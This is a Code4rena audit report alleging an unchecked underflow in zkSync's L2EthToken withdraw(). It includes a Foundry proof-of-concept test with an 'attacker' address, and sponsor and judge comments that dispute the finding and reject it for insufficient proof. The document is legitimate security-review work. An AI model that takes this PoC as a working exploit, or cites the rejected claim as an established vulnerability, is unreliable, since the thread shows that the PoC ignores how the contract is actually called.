Breaking accounting on `L2EthToken`

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/L2EthToken.sol#L85 https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/L2EthToken.sol#L80 https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/L2EthToken.sol#L84-L87 https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/L2EthToken.sol#L72-L75

Vulnerability details

Impact

This can break accounting as well as create opportunities for abuse

Proof of Concept

1) L2EthToken.mint() has the onlyBootloader modifier and can mint any amount for anyone:

File: L2EthToken.sol
72:     function mint(address _account, uint256 _amount) external override onlyBootloader {
73:         totalSupply += _amount;
74:         balance[_account] += _amount;
75:         emit Mint(_account, _amount);
76:     }

2) L2EthToken.mint() is totally unprotected and can be called by anyone, where a subtraction that is undocumented and unchecked with the L2EthToken contract's balance is happening:

File: L2EthToken.sol
80:     function withdraw(address _l1Receiver) external payable override {
81:         uint256 amount = msg.value;
82: 
83:         // Silent burning of the ether
84:         unchecked {
85:             balance[address(this)] -= amount;
86:             totalSupply -= amount;
87:         }
88: 
89:         // Send the L2 log, a user could use it as proof of the withdrawal
90:         bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
91:         L1_MESSENGER_CONTRACT.sendToL1(message);
92: 
93:         emit Withdrawal(msg.sender, _l1Receiver, amount);
94:     }

3) L1_MESSENGER_CONTRACT.sendToL1(message) is an external call to L1Messenger.sendToL1() which isn't a payable function. Inside sendToL1(), msg.sender will be the L2EthToken contract. This call should always work and will therefore be commented in the coded POC for the code to compile with Foundry.

4) Use the following to setup a Foundry POC:

Setting up a hybrid project

yarn add --dev hardhat @nomicfoundation/hardhat-foundry

File: hardhat.config.ts
5: import "@nomicfoundation/hardhat-foundry";

npx hardhat init-foundry
forge remappings &> remappings.txt 

Set the following:

File: foundry.toml
+ via_ir = true

And, unfortunately, for the project / current scope to compile with Foundry so that we can test what we want: we need to delete the .yul files under contracts (precompiles/ and EventWriter.yul), otherwise we'll get an error telling us that the compiler only supports 1 yul file in the project.

5) Replace the following so that the code can compile with Foundry. As stated before, this call should always succeed:

diff --git a/contracts/L2EthToken.sol b/contracts/L2EthToken.sol
index d01f5b6..2214b1c 100644
--- a/contracts/L2EthToken.sol
+++ b/contracts/L2EthToken.sol
@@ -88,7 +88,7 @@ contract L2EthToken is IEthToken {

         // Send the L2 log, a user could use it as proof of the withdrawal
         bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
-        L1_MESSENGER_CONTRACT.sendToL1(message);
+        // L1_MESSENGER_CONTRACT.sendToL1(message);

         emit Withdrawal(msg.sender, _l1Receiver, amount);
     }

6) Inject the following coded POC under 2023-03-zksync/test/L2EthToken.t.sol:

File: L2EthToken.t.sol
01: // SPDX-License-Identifier: UNLICENSED
02: pragma solidity ^0.8.13;
03: 
04: import "forge-std/Test.sol";
05: import {L2EthToken} from "contracts/L2EthToken.sol";
06: import {BOOTLOADER_FORMAL_ADDRESS} from "contracts/Constants.sol";
07: 
08: contract L2EthTokenTest is Test {
09:     L2EthToken internal l2EthToken;
10: 
11:     address attacker = makeAddr("Attacker");
12:     
13:     function setUp() public {
14:         l2EthToken = new L2EthToken();
15:         // minting has the onlyBootloader modifier
16:         vm.prank(BOOTLOADER_FORMAL_ADDRESS);
17:         // minting an equivalent of 10 000 tokens (should be worth around 20M$)
18:         l2EthToken.mint(address(l2EthToken), 10000e18);
19: 
20:         deal(attacker, 10001e18);
21:     }
22: 
23:     function test_withdraw() public {
24:         vm.startPrank(attacker);
25:         console.log("balanceOf(L2EthToken) before withdraw: ", l2EthToken.balanceOf(uint256(uint160(address(l2EthToken)))));
26:         l2EthToken.withdraw{value: 10001e18}(attacker);
27:         console.log("balanceOf(L2EthToken) after withdraw: ", l2EthToken.balanceOf(uint256(uint160(address(l2EthToken)))));
28:     }
29: }
30: 

7) Run the test with forge test -m test_withdraw -vv and see the following output:

Running 1 test for test/L2EthToken.t.sol:L2EthTokenTest
[PASS] test_withdraw() (gas: 35465)
Logs:
  balanceOf(L2EthToken) before withdraw:  10000000000000000000000
  balanceOf(L2EthToken) after withdraw:  115792089237316195423570985008687907853269984665640564039456584007913129639936

Test result: ok. 1 passed; 0 failed; finished in 559.88µs

This effectively shows an underflow and could happen with a whale, or perhaps even with a flashloan (but that one can't be verified due to a lack of documentation on the L1's finalizeEthWithdrawal method, so we don't know if the flashloan could be repaid in the same transaction. The whale however can wait to retrieve their funds through finalizeEthWithdrawal).

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

There's a strong feeling here that the following should've been in withdraw():

        // Silent burning of the ether
-        unchecked {
-            balance[address(this)] -= amount;
+            balance[msg.sender] -= amount;
            totalSupply -= amount;
-        }

This way, a user could only withdraw the authorized amount that's been minted (or transferred) for them from the bootloader and the totalSupply would make more sense (totalSupply being equal to the sum of all balances is a classic invariant).

Additionally, balance[address(this)] -= amount; would definitely underflow if all users decided to withdraw and that balance[address(this)] >= totalSupply / 2 wasn't being enforced, which seems like quite a singular behavior that should be thoroughly documented.

If the benefit of the doubt is given:

• If the unchecked statement should remain, consider documenting it and eventually adding some checks to prevent any underflow.
• If the use of balance[address(this)] is somehow the right logic, consider documenting this thoroughly and enforce the fact that it will never underflow, probably with some strong initial minting (that I didn't see in bootloader.yul).

[c4-judge]

GalloDaSballo marked the issue as primary issue

[GalloDaSballo]

Very thorough report

That said, I believe that we'd need to also have demonstrated the breaking of the totalSupply == SUM(USERS.balance)

Meaning we should never be able to overflow in prod

[miladpiri]

The finalization of the withdrawal happens on L1. Moreover, tokens are minted 1:1 with ETH on L2. The msg.value increases the balance[address(this)] through transferFromTo.

[c4-sponsor]

miladpiri marked the issue as sponsor disputed

[GalloDaSballo]

With the information I have, I believe the finding did not demonstrate a way to break the invariant of totalSupply == SUM(all balances)

This plus the fact that a call will be done via MsgValueSimulator, which will use transferFromTo, meaning that the value will be transferred to the L2ETHToken and then burned via the subtraction, leads me to believe that the finding lacks proof

I recommend the warden to follow up with me (post judging QA) or the sponsor if they can demonstrate a way to break the above mentioned invariant, but this report did not provide sufficient evidence

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory: Insufficient proof